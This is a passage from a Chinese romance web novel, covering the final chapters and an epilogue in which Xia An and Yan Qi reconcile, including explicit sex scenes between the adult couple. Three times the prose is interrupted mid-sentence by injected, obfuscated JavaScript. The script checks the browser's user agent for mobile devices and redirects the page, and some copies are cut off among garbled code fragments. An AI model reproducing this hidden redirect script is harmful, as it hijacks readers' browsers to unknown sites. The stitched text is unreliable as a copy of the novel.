如果真的放下,那颗珍珠有无数次机会还给颜祈,余薇来的时候怎么不给,在蓝月岛见到也不说,掉了又要在浴室一直找,可是颜祈把项链还给她,她又说她不要了。 既然一开始就不想要,又为什么要和母亲的胸针放在一起,去追劫匪的时候,她只想起了那枚胸针? 她能记住颜祈所有的不好,却记不住项链一直戴在自己身上? 她总在思考公不公平,却对颜祈从来没有过半分怜悯。 她送出的礼物没有一件是真心的,除了所有的心硬和谎话,还有彻头彻尾的恨意和报复。 夏桉对待颜祈,确实从未公平。 她看着那些不受控制的眼泪,颜祈情绪依旧崩溃重复的话语,仿佛要把这五年积攒的所有道歉在今日全部说尽。 窗外的雪花没有目的地追逐飘散,发出凄厉的哀嚎。 夏桉在世界的喧嚣里吻了上去,第一次真心实意说出那句饱含歉意的话:“对不起。” 70. 第七十章 颜祈惊住了,连呼吸都不敢用力,他像丢在地毯上的那个兔子玩偶,无法抵抗,只能被动地接受自己的命运。 一个浅尝辄止的吻在他们之间展开。 夏桉慢慢从他的唇上移开,拭去他落在下颌的眼泪,“可以不哭了吗?” 颜祈四指掐入掌心,能做的只是用通红的眼望着夏桉,将会听话的意愿传达,他如今确实是一个格外乖巧的人。 窗外晨光熹微,他眼底氤氲的水线不敢掉落,那些委屈脆弱的情绪让人心尖发紧。 于是夏桉又吻了上去,似在奖励,轻声道:“闭眼。” 一滴泪顺着颜祈浓密的睫毛落了下来,沾湿夏桉的脸颊。 他们的爱是如此潮湿,像梅雨季绵稠化不开的细雨,两颗心都是湿漉漉的。 占据欲满格的人变得小心翼翼,习惯性隐藏情绪的人获得主权。 夏桉在多年后终于将公平的权利赋予颜祈。 她后撤,同他鼻尖相抵,“为什么昨天那么冷还要站在楼下?” “因为......我怕我又要很久才能见到你。”颜祈谨慎控制住呼吸。 他甚至不敢动,这一切都美好的像个梦境,惹夏桉讨厌的颜祈在此刻是否真的被喜爱,还是善良的夏桉决定宽恕颜祈。 柔软湿润的触感再次触碰他的嘴唇,颜祈来不及反应,却在这个短暂的吻里被安抚住。 呼吸交错间,夏桉问:“那你怎么不上来等我?” 颜祈没有作答,视线余光下,他眼里翻涌着痛疚的情绪。 夏桉了然:“因为那扇门?” “对不起。” 这时候,颜祈急急地和小时候一样抵住她的额头想寻求到一点安全感,小声说:“我是不是又让你为难了?” 在猜测到原因的那一刻,他几乎一步就退回到夏桉离开的那个早晨,五年积蓄的力气在那一瞬消耗殆尽。 还要再继续吗?你已经给她造成了人生阴影,还要让她怎么办,非要她死在你面前才能真的后悔? 他下眼睑发红,自食恶果:“你怎么能够不恨我。” “不是的。”夏桉捧住他的脸解释:“是风哐坏了门锁,我没办法出来。” 但说完她也沉默了,这个解释并不能深究,谁会因为被反锁过一次就直接把门锁拆开,将门框撞烂。 是因为她一直没有选择的权利,在颜家老宅也好,在明珠园也好,她都打不开面前的那扇门。 她再一次被困住,窒息的恐慌堵住她的喉咙。 窗外树枝承受不住积雪的重量,轰然向下坠落,夏桉下意识视线望向窗外,模糊雪景覆盖了远处公园一切场景。 颜祈意识到她准备离开呼吸有些急迫,他对夏桉有太多不确定的事情,也知道她不愿意再回答这个问题,于是迫切地想要再确认一次,手揽过她的腰祈求道:“能再亲我一下吗?” 温热的呼吸扑在她的额头,夏桉随之微微上扬。 男人宽大的掌心像火炉般贴在她的后腰,但他的眼里没有情欲,只是惶惶的不安。 夏桉静静地望着他的眼睛。 颜祈总是难以应对她的平静,又开始紧张地往后退,抽回手负疚道:“我不是故意的。” 他们分开的太久,十年的时间凑起来也抵不过蓝月岛两个月的记忆,见证彼此成长每一个瞬间的两人却从来不了解对方。 这一张床还能退到哪里,夏桉最终还是吻上了他。 他们身上有着共同的气味,夏桉在分开后有很长一段时间都在去颜祈化,她讨厌颜祈为她挑选好的所有,讨厌生活的每一处都和颜祈有关,她想把颜祈剥离出去,却再也找不到更好的。 他的爱有错,可他也确实给了她最好的一切。 颜祈也闻到了,他微微颤抖着像是缓瘾,贪婪掠夺掉所有氧气。 最初小心的纠缠也在时间的流逝里失了力,他掌住后颈吻得深入,难以抑制滚动着喉结吞咽。 滚烫的掌心沿着坚韧的脊背朝下,摩挲着柔软的腰腹,他们身体都保留着共同的记忆,在寒冷冬夜的交织,往昔渴求的星火一点就燃。 夏桉放纵着他向上探入蹂躏,神经末梢闪过类似触电般的颤栗,伸手将他的衣角抓皱成一团却浑身泄力,指尖不由蜷缩。 紧致结实的腰腹压在她的身上,迸发的热意从下方蔓延到耳根,烫得头皮发麻。 光线里透着雪的冷意,夏桉没来由得往向下缩,整个人躲到了颜祈的怀里。 直到夏桉指尖陷进他的后背,颜祈呼吸猛然一沉,触电般压住情欲撑起身,柔软的枕头被他压出最深的印子,音色沙哑叫出她的小名:“桉桉。” 他又过火了。 行为能被控制住有很多因素,明珠园里她平静的无动于衷曾经彻底击垮过一个少年人的尊严。 夏桉抬起眸,有些迷茫地望向他。 “这是不是让你很不舒服?”他低下眼眸神情落败,不敢继续尝试,感受颇深的样子,“我知道的,我不喜欢阿黄,它只要一靠近我就浑身难受。” 夏桉却这样忍着难受在他身边待了十多年。 “下次不会了。”他想让夏桉只做自己愿意做的事情,那些亲吻应该要学会知足,颜祈不可以永远做一个贪得无厌的人。 在他起身的一瞬间,夏桉翻身将他压坐下去,蓬勃的欲望就抵在她的身后。 她居高临下地看着颜祈像在犹豫,微凉的指尖沿着他的唇峰缓缓描绘,而后在嘴角的红晕用力按了一下。 淡声道:“你确定?” 颜祈心中瞬间爆发出喷薄的喜悦,喉间涩的发紧,他侧脸贴住夏桉的掌心蹭了蹭缓声道:“家里没有,我用其他方法好不好。” 夏桉秀眉微蹙一脸茫然,对这些不甚了解。 她不至于全然不懂,只是所有的经验都来自颜祈,青春期时颜祈又管教的严格,读物书籍音影总会被他审查个遍才能落到夏桉的面前。 颜祈搂住在她嘴角安抚地吻了吻,大手一揽将两人的位置调转。 细密的吻从耳垂寸寸向下,纯白的睡裤宽松,堆叠如盛开的栀子花。 每亲一下,他就抬眸试探朝她望去,而后得到肯定才继续。 她逐渐看不到颜祈的身影,视线里只有被子隆起的山丘,夏桉用力咬住下唇,没经历过这样的孟浪,像快要冲上高空的焰火,隐秘地想要按压住那些抖栗。 她本能地并住腿,颜祈动作未停,摸索中牵住她的手,“别怕。” 夏桉只好死死揪住颜祈的手,身体瑟缩,承受漫天的花火绽放在眼前带来的那道白光。 颜祈凑过去轻轻吻上她失神漂亮的面颊,眼底像有一团散不开的浓雾,倾身在夏桉的唇上用力亲了几下,“我去给你做早餐好吗?” 夏桉什么也没说,只是露出细白的手臂往床头柜拉了一下。 颜祈朝那边看去怔愣住,心底的热切有些难受,但是又很快调整过来扯出一个笑,“我会做到最好。” 夏桉在这句话里听出吃醋攀比的意思,看向他的眼光带着笃定,温声道:“你不是一直都在。” 颜祈被这句轻描淡写的话震得大脑发懵,脱口而出:“你多久知道的?” “我在找回来的包上闻到了你的味道。” “还有,送我离开的那辆车。”怎么会那么巧,二十四小时密不透风的保镖在雪天都不放松警惕,却在大晴天聚众消遣,质朴老实的保姆刚好开车遇见她,冒着被开除问责的风险送她下山。 颜祈的手段实在拙劣。 她什么都知道,只是接受不了。 你要她怎么承认,恨与爱竟然相差无几。 那些她以为对颜祈的憎恨里竟然会掺杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“昨天出门把你带回来的时候。”夏桉坦诚道:“我不好意思进去了又不买东西,可是家里确实什么都不缺了。” 她仰头吻上他难抑的喉结,行为代表暗许。 颜祈避开她懵懂透澈的眼神,至今难以言绝夏桉身上的美,就像晨间海面上即将消退的烟波,美到虚无缥缈,总是能用最无辜的表情做最坏的事。 颜祈闷哼一声向下扣住她的手,泄力埋在她的颈窝里,呼吸失去章法,“桉桉,我可能没办法保持清醒。” 天色渐明,狂风肆意呼啸,先前枝头的雪落了又落,总有新雪覆上,遍布枝桠,悬在枝头的枯叶被冰凌锁住,融为一体。 窗上冰霜凝结成网,纵横交错编织成一张透明的窗花,寒风愈凛,霜花成了一块薄冰,又在室内缱绻的高温下逐渐消融。 清晰间,夏桉听到拆盒的声音,颜祈看了眼说明书取出一枚放在柜子上。 低头望着她好奇的眼神:“你要帮我?” 夏桉耳热侧脸埋在枕头里,偷偷掐了他一下。 颜祈笑笑,吻在她的耳后记起,用气音说:“我忘记了,你看过。” “尺寸刚好。” 夏桉急忙双手捂住他的唇,“不准在我面前说这种话。” 掌心嘴唇微动,是一个听话的吻。 如此,夏桉才放下手。 视线失焦散乱的时候,她被颜祈梏死搂在怀里,失控伴随着疼痛。 夏桉有一瞬间想,或许这个世界的爱本来就带着痛觉,只是她和颜祈的格外多。 溺水的人抓住悬浮物是生命的本能,夏桉轻颤着伸出手,可是在那之前,已经有人更早拉住了她。 或许这一切可以直接追溯到八岁那年的冬天,好看的小男孩在厨房门前抓住了她的手,他自鸣得意地笑着,而后走进厨房将所有的东西打翻,佣人们被吓的大呼小叫,所到之地一片狼藉。 光影疏斜,男孩在混乱的战场里回头乖张地对她笑。 那是坠落的源头,也是救赎的开始。 71. 第七十一章(正文完结) “你是要成为我的小姨父吗?” 颜祈蹲下身和许安安平齐视线,话里的得意藏不住:“对呀!” “那好吧,小姨父我跟你说,我还找到了一个住在山顶的人。”许安安对这件事情接受的很快,小手指着iPad上面的图案也很得意,“你看,佩奇也住在山顶,那他和国王就是邻居对不对?” 颜祈:“.......” 许安安翘起下巴,对自己的重大发现充满骄傲。 颜祈勉强笑了一下,“你刚刚叫我什么?” 许安安有点不明所以,但还是乖乖叫道:“小姨父。” “真是个聪明的孩子。”颜祈摸摸他的头发,假模假样说:“发现的还真是仔细呢。” “谁会没事住在山顶,我只听过山大王会这样。”许琳拿着水壶过来,歉意道:“不好意思,前段时间下雪他在家里看动画片看的有点多。” “许安安,谁让你出来玩还带着iPad的,快点喝水啦,等下看多了眼睛都会坏掉。” “没事,他挺听话的。”颜祈把iPad合上,接过水壶将他高高抱起,朗声笑道:“走,小姨父带你去玩。” “真是一点都没变。”许琳拿着iPad坐回红格子的野餐布上,带着几分世事无常对夏桉打趣道:“你们果然还是在一起了。” 夏桉看向她有几分不解。 “其实我很早以前就看出来了,他......”许琳想找一个更严谨的词,但无奈没有想到,于是顺着原话偏头对夏桉说:“他离不开你。” 许琳看她的表情笑笑,闭上眼感受风声,“你没发现吗?颜祈一直把你当作他的‘阿贝贝’。” “他那个年纪的小孩不应该出现这么严重的依恋情况,但他实在太敏感了,喜欢用占有欲去表达自己的不安,这也许是因为他小时候没有被人真正注意过需求。” 夏桉脑海里很奇怪地浮想起他们第一次见面的场景,颜祈一个人蹲在偌大的前庭玩小汽车,身后是古老雄伟的宅院,周围空无一人,高楼暗影将他笼罩,他张着懵懂稚气的双眼朝她看去,漂亮的脸上没有表情。 余薇溺爱,颜淙严厉,可落在颜祈身上的时间总是很少。 他从小傲慢跋扈,周围的小孩都让着他怕他,只有夏桉每次都会生气地表露出自己的不满,对他所有的行为做出反应。 那座足以当迷宫的房子,在她住进去之前,颜祈已经一个人和自己玩了很久。 这种感觉让夏桉很复杂,颜祈抢走了她的阿贝贝,然后又把她当作‘阿贝贝’。 她望向远方玩闹的身影,颜祈感知到她的视线,笑意不减地指挥许安安和她打招呼,少年意气清隽如初,夏桉无意识也笑了起来,她如梦初醒诧异地碰了碰自己的嘴角,不再细想。 这样的蜕变对颜祈来说已是不易,只有她知道颜祈究竟改变了多少,那天颜祈在她面前崩溃的样子记忆犹新。 原来,他们的眼泪是一样多。 许琳见她许久未答话睁开眼也朝那边看去,叹道:“他那张脸确实很难让人一直记恨。” 她想起提醒道:“我知道你们情意正浓,但你可别色令智昏,下一场画展的场馆我都给你找好了。” 日光在下午散去,气温转凉,许琳怕许安安感冒提前带他回家,临行前让他要记得懂礼貌。 许安安立马小手挥挥:“小姨,小姨父再见。” “......”夏桉赧然朝颜祈看去,当事人抬头望天眨眨眼,狡黠的笑意隐匿在嘴角。 冬末气温还没完全回升,夏桉把先前取下的围巾系好往回走,但无奈颜祈总跟没骨头一样往她身上靠,不是把手伸进她的口袋里一起握着,就是整个人像挂件一样直接缠着她。 “你这样要我怎么走?”夏桉停下,把围巾取下来递给他,“谁让你今天穿这么点,现在才知道冷。” 非要在十摄氏度以下穿风衣的某人:“......” 夏桉很受不了他这种总是无意识透露委屈巴巴的神情,心软伸手把围巾给他系好,看到他鼻尖也是红红的,一双偏浅色的瞳仁清澈透亮,直勾勾地盯着她的眼睛卖可怜。 夏桉突然有点心乱,手上用了点劲,颜祈立马配合做出窒息的表情要直接倒在她的肩上。 他总是有很多小花招弄得夏桉无以招架。 夏桉抿唇遮住他的眼睛,颜祈却突然在她脸上亲了一下。 纤长的睫毛轻轻扫动她的掌心,夏桉看不见他的眼睛,但视线里他上扬的嘴角俨然是一副计谋得逞的模样。 夏桉红了脸,气恼揉乱他出门前打理了很久的发型,还没走两步就被颜祈拉回怀里,两人在蓝花楹树下相拥。 树上枝头已悄然长出嫩芽,透出新点绿意,有一片落叶晃晃悠悠落在他们的脚边,颜祈把围巾的一半系在夏桉的身上,耍赖道:“好了,我们就这样走。” “......”夏桉被迫仰头看到他头发跟只炸毛小狗似的,忍不住笑出声。 她已经没有办法再对颜祈生气。 他们那个时候年纪都太小,一个虚与委蛇,一个自以为得到了所有的爱。 少年时期的旧账已无人再想继续重翻,如若细细数来,大家所做的每一件事都无法深究。 他们互相被驯服被需要,这世上已无人可替。 ...... 夏桉把许琳的话记在了心里,客卧的沙发床被折叠重新改为画室,颜祈和小时候一样在旁边等她。 窗外枝叶新绿,微风阵阵,吹动放在桌上的画纸,夏桉伸手按住固定,起身关好窗,回头看去颜祈已经伏在靠枕上睡着了。 他睡觉很安静,长睫在眼下颤颤打出阴影,双唇紧闭,像极了她小时候在家放到床上的那些可爱玩偶,乖巧的不像话。 她蹲在沙发前看了许久,久到颜祈都要装不下去,他睁开眼有点难过地说:“我还以为你会偷亲我。” 话罢间,夏桉已经吻了上去,这是一种本能,对爱渴求的意念驱使她做出这些行为。 可当真亲上颜祈又有点不安,他摸摸自己脸上被抱枕压出的红痕埋进去瓮声说:“我现在这样是不是很难看?” “没有。” “你骗人。”他眼角也开始泛红,对这些话一点也不信。 夏桉突然发现许琳说的都是真的,颜祈确实很容易敏感,他的眼睛总是轻而易举就会萦上薄薄水雾,他需要很明确的证据才会安心。 于是夏桉又主动吻了上去,“没有,很好看。” 颜祈望向她:“真的吗?” 夏桉点头轻柔地吻他,“没有人能比得过你。” 颜祈扣住她的后脑勺吻得很深,将夏桉捞上沙发,被他细致绑好的长发如海藻般散开在靠枕上,缎面发带飘到沙发脚下,和落了一地的靠枕挨在一起。 颜祈拿起最上面那个垫在她的腰下,鼻尖蹭过柔荑,总能在这种事情上做到极致温柔。 窗外淅沥沥地下起春雨,万物在潮湿中走向新生,浇灌滋长。 他的心思其实很不上得台面,颜祈希望夏桉在这种事情上得到欢愉,他总在寻找爱的证明,内心隐秘地把这当作|爱的证据, 他的心是被风扯着走的风筝,时常处于一种失重感。 毕竟他带给过夏桉太多伤害,总是在无限制地索求和逼迫,他贪得无厌想要将夏桉完全占据融进脊髓,可时间过去五年,余留下的只有害怕和患得患失。 通往夏桉的路总是滞阻艰涩,颜祈将她禁锢住,在抵达的时刻重复说出那句我爱你。 夏桉抬眼,抚上他包含水雾的眼睛,“我知道。” 颜祈没有得到预想中的回复,他的内心不敢再生出怨恨,但苦闷还是让他失了控,他痴缠着夏桉想,如果他们小时候不那样是不是如今也会有一个像许安安那样聪明可爱的小孩。 不对,是更加聪明可爱。 无意识间,颜祈将心声吐露:“你都不心疼我。” 夏桉意识有点涣散,但还是认真回答道:“没有啊。” “你有。” 颜祈在她身前吸吮咬了一口,夏桉蹙起眉头他又赶忙停下来说:“是不是弄疼你了?” 夏桉摸摸他高挺的鼻骨宽容地摇摇头,“我说的都是真的,没有人能比得过你。” 颜祈怔了一瞬,有点反应不过来,望着她汗湿的碎发心如擂鼓,不敢猜测。 夏桉扭扭腰肢鼓励道:“自己想想。” 雪白刺红了他的眼,颜祈脑中的神经猝然崩裂,跌入绞溺情爱的深渊。 他喘着粗气的声音迷蒙传进夏桉的大脑:“其实在蓝月岛你也对我一见钟情对不对?” 所以夏桉才从来没有否认过蓝月岛的一切,他们在很久以前就心意互通相爱过。 深爱着的人总是会反反复复地心动,即使失去记忆,心也会第一时间告知答案。 他们本就是天生一对。 他们深爱着,才会不断赋予彼此伤害的权利。 颜祈从未在颜淙面前说过恨,是因为他一直知道颜淙的爱里包含管教,在年纪很小的时候,只有颜淙一直把目光专注地放在他的身上。 颜祈知道那是颜淙的爱,这个世界关于爱的课题总是复杂,他说不清楚颜淙的管教是好是坏,但他确实在这种情况下保持着善良的本性,没有成为一个被宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607446|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溺坏的二世祖。 颜淙在他面前总是对的,颜祈有样学样,又把这样的爱全部给了夏桉。 这很荒唐,他从未按照过正确的方式去爱过夏桉,可是夏桉竟然能够一直感觉到。 但春光尚早,没有人再有机会去关注这个问题,他们的回答总是以吻谏言。 窗外春枝轻颤,靡靡日光浸透春色,世界被蒙上五彩光圈,微风偷钻扰动悬挂的贝壳风铃,一如那年盛夏。 ...... 夏桉第二次画展定在仲夏。 工作人员帮忙将其中的一副打包好带走,那是夏桉按照林菀和春山的描述给王淑华绘制的全家福,他们没有合照,但人需要念想。 颜祈看他们搬好上车回来,被夏桉拉着朝展厅最深处走去,穿过一扇暗门寻得真心实意的礼物。 独占一面墙的画板上—— 日过梢头,金光弥漫,男孩和女孩从第一次见面就是好朋友。 没有推搡,没有眼泪,没有人受伤。 颜祈滞愣半晌,酸软在心口都要盛不下,他忍住鼻酸逞强道:“我允许你把我画进去。” “很荣幸。”夏桉嘴角漾出笑,第一次把手中的画笔递过去,允许颜祈在那幅画做上自己的标记。 颜祈思忖后拿过画笔放下,“这样就很好。” 他用指尖勾住夏桉的手指,扯近落下一个吻,“我很喜欢。” 在他们很小的时候,颜祈误以为爱是管教,是绝对顺从,是把喜欢的东西牢牢抓在手里。 但爱是自由,是理解和包容。 爱的定义或许并没有那么麻烦,对她好,肯定和尊重就是唯一的主题。 ....... 这个画廊夏桉之前来过几次,她带着颜祈从满树蓝花下经过,奔赴下一个场地。 风过树梢,有一朵蓝花楹刚好落在夏桉的发顶,颜祈轻轻笑出声,若有所思地帮她取了下来捏在指间转悠。 “你知道你离开的那个早晨我在想什么吗?” 夏桉拿过那朵花别在他胸前的口袋上,“想什么?” 颜祈望着她认真细致的模样,忍不住搂过她的腰叹息:“我想你回头看看我,但是又希望你走快一点,我已经耽误你太久了。” “我那时总在想,人可以依靠记忆活下去吗?” 颜祈心里知道答案,所以在夏桉抵达澳洲的第二天也踏上了这片土地,成为没有影子的窥探者。 他在爱里就是这样一个很拧巴的人,放不下也舍不得。 夏桉心里漾起奇异的波动,隐隐感受到来自温热下震颤的心跳,看着那朵蓝色小花记起花语的后一段:在绝望中等待爱情,虽败犹荣。 她回抱住颜祈,“谢谢你一直都很勇敢!” ...... 满地蓝花铺设的尽头是一座汩汩涌动的喷泉,花瓣底座盛开的四周水声潺潺,教堂钟声敲响,白鸽振翅从高空飞过,庄重神圣。 夏桉把手中的硬币递过去:“送你的第二个礼物,什么愿望都可以。” 她通通都会帮颜祈实现。 喷泉不再是他们痛苦的回忆,而是承诺的洗礼。 复杂花纹的硬币在阳光下划出一道弧线,光点同时出现在两人眼中,沉入最高处的水底。 颜祈从未如此诚恳紧张,双手合十闭眼在心中反复默念,最后出声许诺:“年年岁岁,我会做夏桉最好的爱人。” 他睁开双眼,被一道清透的蓝光晃了神。 十八岁偷偷放在琉璃柜里的戒指,一直未曾被人发现的秘密,历经兜兜转转终于落在它的专属位置。 “好。”阳光下,夏桉温声许诺道。 离开颜祈是夏桉从十五岁就开始做的事,直到十九岁也不曾更改,那是她给过去自己的交代。 夏桉一直以为颜祈没有爱人的天赋,其实不是的,他一直都在爱她,只是两人对爱的理解各有感悟。 二十五岁,夏桉重新回到蓝月岛,她依旧爱上了颜祈。 这一生爱总是比恨漫长。 十九岁的夏桉原谅十九岁的颜祈,原谅他的自以为是,原谅他的莽撞,原谅他的欺骗。 二十五岁的颜祈还是爱着夏桉,爱她的恣意,爱她的勇敢,爱她的善良。 只是这一年刚刚好,二十五岁的夏桉也还爱着颜祈,他们终于处在同一水平线上,于是她也回馈了同样的爱,只多不少。 从驯养关系走向相爱关系他们历经了太多的生长痛,但好在颜祈站在人生逐渐变得清晰的年纪,终于可以握着夏桉的手一起去学习这门课程,拥有一辈子的时间去寻找爱的真谛。 ——全文完—— 72. 番外1 临近年底,余薇忙得脚不沾地,好不容易得空休息会儿颜祈却又一直凑在跟前。 她靠在沙发上假寐,等着颜祈自己开口。 颜祈见她快睡着了心里也急,起身绕到余薇的身后佯装帮她捏肩,轻声问:“妈,你真睡了?” “你再不说我确实是想回房间了。”余薇闭阖着眼,指挥道:“往左边点,求人办事都不知道劲使在哪里。” 颜祈手挪到正确位置加大力度,挑眉道:“我才不是求您办事呢,再说我跟那群人又不一样。” 余薇懒笑出声:“哪里不一样?我看你那神情跟他们一模一样。” “我是你儿子啊,这些都是我想真心实意做的,您怎么能这样误会我。”颜祈扯动唇线,把话说得冠冕堂皇。 “那你等下也别说。”余薇可不吃他这套,她最清楚自己这个小儿子的德行,简单、心里根本藏不住事,平日里散漫惯了想要什么都是直接说,哪里会这样来回迂回。 “......”颜祈又捏了几下,见余薇真不打算问装不下去了,小声暗示道:“妈,你知道下周二是什么日子吗?” 一个月前就在颜淙面前狐假虎威宣扬的人,余薇怎么会不知道下周二是什么日子,含笑故意逗他:“不知道。” “妈!” “我知道了,知道了,你轻点,你这孩子怎么下手没轻没重的。”余薇吃痛皱起眉头,反手拍了一下颜祈的手背没好气道:“下周不就是你生日,我哪年忘了你的?” “说吧,你又看上了什么?” 颜祈讪讪放轻力度,吞吞吐吐开始铺垫:“成年这么重要的日子,我应该可以要个大点的礼物吧。” 余薇被他这话逗笑了,“你哪年要的我没给你?” 颜祈也不含糊,立马接上:“那我要江宸山那套房子。” 余薇闻言坐直,偏头狐疑道:“你要那套房子做什么?这个家还不够你住的。” “你爷爷在世的时候可说过,颜家不允许分家,兄弟阋于墙,外御其侮,就算颜淙平时对你严厉了点,可那也是为你好。” “我知道我知道,我没说要搬出去。”颜祈早就想好了理由应对自如,手下的动作也不怠慢,“我就是选修了一门建筑课,感觉挺有意思的,想拿来练练手。” “练手要用那么大的房子?”余薇半点都不信,但她今天心情还不错,想想提议说:“年后有几个新工程,你要是感兴趣就去跟一跟,也大了,别总跟个小孩子一样。” 颜祈闻言松开手,架手闷气坐在旁边的沙发上不说话。 余薇的母子之情还没感受热乎就消失了,看着他气鼓鼓的样子哭笑不得,微挑了一下眉对颜祈没有办法,好奇道:“你就真的那么想要那栋房子?” 颜祈静默,过了许久才‘嗯’了一声。 毕竟是成年的生日,余薇也不想给颜祈留下遗憾,更何况看颜祈这闷闷不乐的样子余薇心里早已软了,年轻时接手家业忙碌,余薇一直对错过颜祈人生的节点感到内疚,一栋山顶别墅而已对颜家来说也不算什么,她重复警告了一遍家规之后,清清嗓子松口道:“算了,你想要就拿去吧。” “谢谢妈。”颜祈喜形于色,趁热打铁提出下一个要求,“我还想要你今年拍的那颗蓝钻。” 余薇听得双眼一眯:“你要那玩意干吗?别跟我说你还选修了什么珠宝设计课。” 颜祈也懒得再找借口,心里知道同样的理由只有第一遍有效,凑到余薇的身边耍赖道:“我就是想要嘛。” 这是一点也不打算装了,连个借口都不想找,余薇沉思几秒装作不经意间试探问道:“你是打算送给桉桉?” “才不是。”颜祈立马松开手,坐的笔直,好似这样就可以证明他绝对没有一丁点想送给夏桉钻石的心思。 “你这么紧张干吗,不是就不是呗。”余薇都懒得拆穿他,每年送给人家的礼物一点新意都没有,那些东西小姑娘哪有那么多机会可以戴出去,虽然漂亮,可实在简单粗暴。 她望着颜祈分明立体的五官,少年已然逐渐长成清瘦挺拔的身形,心思转动不免提醒道:“年轻的小姑娘都喜欢低调有内涵用心的礼物,你每年送给人家的都是些什么东西,哪有人送十几岁的小姑娘宝石和金子做的玫瑰花?这么俗气的东西我都不想要,你让桉桉怎么回礼?” 颜祈不以为意,心说都送九年了,也就是去年被他们看见而已。 “我都说了不是送给她的。”颜祈不自在地端起桌上的茶抿了一口,“再说了,你怎么知道她就不喜欢,说不定人家很喜欢呢。” 余薇对儿子这副不开窍的恨不得亲自上手,盘算着要不要他去上上什么情商课、审美课之类的恋爱课程。 颜祈说完才反应过来余薇这是已经允许的意思,嘴唇上扬立马在余薇的肩上按了好几下,起身朝房间跑去:“谢谢妈。” “小心点。”余薇在后面无奈地叮嘱道。 颜祈一路小跑到二楼,差点撞上从书房里出来的颜淙,立马刹住收敛,紧张喊道:“哥。” 颜淙应了声,深邃的眉眼带着几分阴郁,整个人看上去很疲惫。 近来公司的老人对他很多革新的决策不满,认为他年轻想尽快立稳脚跟所以格外激进,好几个项目都故意挖坑给他使绊子。 颜祈不想触他的霉头,摸了摸鼻子,避开他的视线表现得很安分。 好在颜淙最近实在没有什么时间去找他的麻烦,哪怕颜祈前面行事毛毛躁躁差点撞上他,他也只是看着颜祈像是思忖了一下,转身回到书房拿过一个表盒递过去,微微顿了顿:“生日礼物。” 颜祈打开,是上次他随口夸过颜淙的那块表。 每年都是这些,一点新意也没有。 颜祈扯了扯嘴角:“谢谢。” 颜淙对这不走心的感谢显然不满意,架手干站在原地,眼眸黑如墨染,周围气压持续降低,既没有让颜祈走,也没有挪开挡住的身形。 颜祈硬挤出一个笑,观察他的脸色表现出几分夸张:“你怎么知道我一直想要这个,我很喜欢,谢谢哥。” 他的笑起来的时候眼睛总是很亮,仿佛萦着一层光,会露出那颗稍显尖锐的犬牙,这会让颜淙想起小时候很想要却不能提出来的那只卷毛小狗,总是自以为很聪明,实则小心思都摆在脸上。 颜淙想起公司里的那些烦心事,踟蹰着还是伸手在他的肩上拍了拍,淡声道:“以后别在走廊上跑了,等下开门撞到你。” “长大了,不要总还是像个小孩一样。” 颜祈僵硬住,愣愣点头:“知道了,谢谢哥。” “去吧。”颜淙松开手。 颜祈缓步走向房间,想了想回头叫住他:“哥,实在不行就让爸把那些人都开了,怎么一天天的这么多事。” 颜淙先是失笑,但转瞬又开始担忧,颜祈怎么会这么单纯的念头,可他最终还是没有破坏这份少年意气,低头无声笑笑:“知道了。” ...... 颜祈今天已经听过两次那句话了——“长大了,就不要像小孩一样。” 成年对顺心长大的颜祈来说并没有实感,更何况他从不认为自己是个小孩,哪有小孩会带小孩长大的,他可是抚育过夏桉的人。 颜祈对自己人生的规划和对那颗蓝钻的设计一样清晰。 几天后,钻石飞到了大洋彼岸。 姑姑打来电话,一本正经问他:“你这和上次给我看设计图是一张吗?我跟你说过多少次了,这么大的一般都是设计成项链或者胸针,哪有人直接戴手上的。” “还有谁会在镶嵌上面的部分全部刻上自己的名字,这谁能看的到?” 颜祈心虚辩解道:“我只是把那张图细化了一点而已。” 姑姑气得直接改成了视频电话对着那张图纸发问:“你这是一点点?根本和你上次跟我说的就不是一个东西,你告诉我,谁要把这么大块石头戴在手上......” 絮絮叨叨的厉声从手机那头传来,带着细细的电流声,颜祈把音量减少了好几格脑子终于不再嗡嗡作响,趴在桌子上出神听着,要不是不放心别人,他也不想去找这个一直久居国外脾气不好的姑姑。 “你知不知道我手上还有多少单子,这会耽误我多少时间。”姑姑在对面说了半天没人应声,火气彻底蹿了上来,“做不了,你找别人吧。” “姑姑。”颜祈赶忙把镜头对准自己,“我听着呢。” 对面盯着他看了几秒,生不气来,毕竟是好几年都没见过的小侄子,姑姑又看了两眼设计图,脑海里灵光一闪而过,“这不是送你妈的吧,你谈恋爱?” “没有,姑姑你胡说什么呢?”颜祈面上浮起绯红,神情不自然地将手机移开。 对面工作室里的人顿时笑开了锅,姑姑举着手机大笑靠得很近,追问道:“长什么样?你早说啊,我再没时间也要给你做出来。” “小颜祈可以啊,比你哥哥还快,谁啊,学校认识的?” “......” “好了好了,你们别笑了。”姑姑回头制止,接着问:“那你多久要?” 颜祈不假思索地说:“越快越好,最好在早春之前,实在不行,仲春也行,反正最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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...... 开门声截断了他的回想,颜祈立马将门关上,仿佛只是随便来她的房间看看,跟国王巡视领地一样自如。 夏桉早就习惯了他总是如此,应了声坐在书桌前打开电脑。 颜祈看了眼琉璃柜绕到她身后站了许久,嗓子咳了好几次最后指着她的屏幕说:“你这里打错了一个字。” 